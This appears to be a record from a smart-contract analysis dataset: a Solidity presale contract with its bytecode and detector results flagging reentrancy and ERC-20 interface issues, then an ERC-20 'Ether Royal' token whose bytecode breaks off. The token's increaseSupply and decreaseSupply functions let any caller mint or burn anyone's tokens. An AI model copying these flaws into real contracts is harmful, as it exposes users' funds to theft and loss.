// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
contract Launchpad is Ownable {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
// address public owner;
uint256 public rate;
uint256 public allowedUserBalance;
bool public presaleOver;
IERC20 public usdt;
mapping(address => uint256) public claimable;
uint256 public hardcap;
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) public {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = true;
// owner = msg.sender;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "The presale is not over");
_;
}
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
function buyTokenWithUSDT(uint256 _amount) external {
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "presale is over you cannot buy now");
uint256 tokensPurchased = _amount.mul(rate);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
// usdt.transferFrom(msg.sender, address(this), _amount);
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
emit ClaimableAmount(msg.sender, tokensPurchased);
}
// function claim() external isPresaleOver {
// // it checks for user msg.sender claimable amount and transfer them to msg.sender
// require(claimable[msg.sender] > 0, "NO tokens left to be claim");
// usdc.transfer(msg.sender, claimable[msg.sender]);
// claimable[msg.sender] = 0;
// }
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
// claimable[owner] = claimable[owner].sub(_value);
// usdt.transfer(_msgSender(), _value);
doTransferOut(address(usdt), _msgSender(), _value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a146102de578063c8d8b6fa1461030c578063e3b868651461033a578063f2fde38b14610368576100f5565b8063715018a61461024a5780638da5cb5b14610254578063a43be57b1461029e578063b071cbe6146102c0576100f5565b80632f48ab7d116100d35780632f48ab7d14610168578063402914f5146101b25780634738a8831461020a57806359ccecc91461022c576100f5565b806304c98b2b146100fa57806324f32f821461011c5780632c4e722e1461014a575b600080fd5b6101026103ac565b604051808215151515815260200191505060405180910390f35b6101486004803603602081101561013257600080fd5b81019080803590602001909291905050506104a7565b005b61015261057a565b6040518082815260200191505060405180910390f35b610170610580565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101f4600480360360208110156101c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105a6565b6040518082815260200191505060405180910390f35b6102126105be565b604051808215151515815260200191505060405180910390f35b6102346105d1565b6040518082815260200191505060405180910390f35b6102526105d7565b005b61025c61075f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102a6610788565b604051808215151515815260200191505060405180910390f35b6102c8610883565b6040518082815260200191505060405180910390f35b61030a600480360360208110156102f457600080fd5b8101908080359060200190929190505050610889565b005b6103386004803603602081101561032257600080fd5b8101908080359060200190929190505050610c35565b005b6103666004803603602081101561035057600080fd5b8101908080359060200190929190505050610dbe565b005b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e91565b005b60006103b661109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610477576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b6104af61109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b6105df61109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061079261109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610853576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff161515146108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806117466022913960400191505060405180910390fd5b600061090c600154836110a690919063ffffffff16565b9050600061096282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112c90919063ffffffff16565b9050600554610a53600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a0957600080fd5b505afa158015610a1d573d6000803e3d6000fd5b505050506040513d6020811015610a3357600080fd5b81019080805190602001909291905050508561112c90919063ffffffff16565b1115610ac7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4861726463617020666f722074686520746f6b656e732072656163686564000081525060200191505060405180910390fd5b600254610adf6001548361114890919063ffffffff16565b1115610b53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f457863656564656420616c6c6f77656420757365722062616c616e636500000081525060200191505060405180910390fd5b610b80600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163385611192565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a4533383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b610c3d61109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600360009054906101000a900460ff16151514610d87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468652070726573616c65206973206e6f74206f76657200000000000000000081525060200191505060405180910390fd5b610dbb600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610db561109e565b8361151b565b50565b610dc661109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060028190555050565b610e9961109e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fe0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117686026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000808314156110b95760009050611126565b60008284029050828482816110ca57fe5b0414611121576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061178e6021913960400191505060405180910390fd5b809150505b92915050565b60008082840190508381101561113e57fe5b8091505092915050565b600061118a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561121757600080fd5b505afa15801561122b573d6000803e3d6000fd5b505050506040513d602081101561124157600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561130f57600080fd5b505af1158015611323573d6000803e3d6000fd5b5050505060003d6000811461133f576020811461134957600080fd5b6000199150611355565b60206000803e60005191505b50806113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f544f4b454e5f5452414e534645525f494e5f4641494c4544000000000000000081525060200191505060405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561144857600080fd5b505afa15801561145c573d6000803e3d6000fd5b505050506040513d602081101561147257600080fd5b81019080805190602001909291905050509050828110156114fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f544f4b454e5f5452414e534645525f494e5f4f564552464c4f5700000000000081525060200191505060405180910390fd5b61150e838261172e90919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156115a757600080fd5b505af11580156115bb573d6000803e3d6000fd5b5050505060003d600081146115d757602081146115e157600080fd5b60001991506115ed565b60206000803e60005191505b5080611661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f544f4b454e5f5452414e534645525f4f55545f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b60008083118290611714576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116d95780820151818401526020810190506116be565b50505050905090810190601f1680156117065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161172057fe5b049050809150509392505050565b60008282111561173a57fe5b81830390509291505056fe70726573616c65206973206f76657220796f752063616e6e6f7420627579206e6f774f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220102afe3de81e02e9cb5899113f150dece562ee8f4f529b87ed0883dacfb3f31364736f6c63430006020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,034 |
0xfcb5a133d5df96d304300ca26201d304a9e9922d
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ERYL' token contract
//
// Deployed to : 0x5b5547d79ca5163145d41d374f0c7fcfabe8cba1
// Symbol : ERYL
// Name : Ether Royal
// Total supply: 21000000000000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function burn(uint256 _value) public returns (bool success);
function burnFrom(address _from, uint256 _value) public returns (bool success);
function increaseSupply(uint value, address to) public returns (bool success);
function decreaseSupply(uint value, address from) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed from, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract EtherRoyalToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function EtherRoyalToken() public {
symbol = "ERYL";
name = "Ether Royal";
decimals = 18;
_totalSupply = 21000000000000000000000000000;
balances[0x5b5547d79ca5163145d41d374f0c7fcfabe8cba1] = _totalSupply;
emit Transfer(address(0), 0x5b5547d79ca5163145d41d374f0c7fcfabe8cba1, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
_totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
_totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function increaseSupply(uint value, address to) public returns (bool success) {
_totalSupply = safeAdd(_totalSupply, value);
balances[to] = safeAdd(balances[to], value);
emit Transfer(0, to, value);
return true;
}
function decreaseSupply(uint value, address from) public returns (bool success) {
balances[from] = safeSub(balances[from], value);
_totalSupply = safeSub(_totalSupply, value);
emit Transfer(from, 0, value);
return true;
}
}
|
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d3578063124fc7e01461023857806318160ddd1461029d57806323b872dd146102c8578063313ce5671461034d5780633eaaf86b1461037e57806342966c68146103a957806370a08231146103ee57806379ba50971461044557806379cc67901461045c578063869e0e60146104c15780638da5cb5b1461052657806395d89b411461057d578063a293d1e81461060d578063a9059cbb14610658578063b5931f7c146106bd578063cae9ca5114610708578063d05c78da146107b3578063d4ee1d90146107fe578063dc39d06d14610855578063dd62ed3e146108ba578063e6cb901314610931578063f2fde38b1461097c575b600080fd5b34801561014f57600080fd5b506101586109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5d565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061028360048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4f565b604051808215151515815260200191505060405180910390f35b3480156102a957600080fd5b506102b2610c49565b6040518082815260200191505060405180910390f35b3480156102d457600080fd5b50610333600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c94565b604051808215151515815260200191505060405180910390f35b34801561035957600080fd5b50610362610f24565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038a57600080fd5b50610393610f37565b6040518082815260200191505060405180910390f35b3480156103b557600080fd5b506103d460048036038101908080359060200190929190505050610f3d565b604051808215151515815260200191505060405180910390f35b3480156103fa57600080fd5b5061042f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611041565b6040518082815260200191505060405180910390f35b34801561045157600080fd5b5061045a61108a565b005b34801561046857600080fd5b506104a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611229565b604051808215151515815260200191505060405180910390f35b3480156104cd57600080fd5b5061050c60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611443565b604051808215151515815260200191505060405180910390f35b34801561053257600080fd5b5061053b61153d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058957600080fd5b50610592611562565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106426004803603810190808035906020019092919080359060200190929190505050611600565b6040518082815260200191505060405180910390f35b34801561066457600080fd5b506106a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061161c565b604051808215151515815260200191505060405180910390f35b3480156106c957600080fd5b506106f260048036038101908080359060200190929190803590602001909291905050506117a5565b6040518082815260200191505060405180910390f35b34801561071457600080fd5b50610799600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506117c9565b604051808215151515815260200191505060405180910390f35b3480156107bf57600080fd5b506107e86004803603810190808035906020019092919080359060200190929190505050611a18565b6040518082815260200191505060405180910390f35b34801561080a57600080fd5b50610813611a49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086157600080fd5b506108a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a6f565b604051808215151515815260200191505060405180910390f35b3480156108c657600080fd5b5061091b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd3565b6040518082815260200191505060405180910390f35b34801561093d57600080fd5b506109666004803603810190808035906020019092919080359060200190929190505050611c5a565b6040518082815260200191505060405180910390f35b34801561098857600080fd5b506109bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c76565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610b5d60055484611c5a565b600581905550610bac600660008473ffffffffffffffffffffffffffffffffffffffff16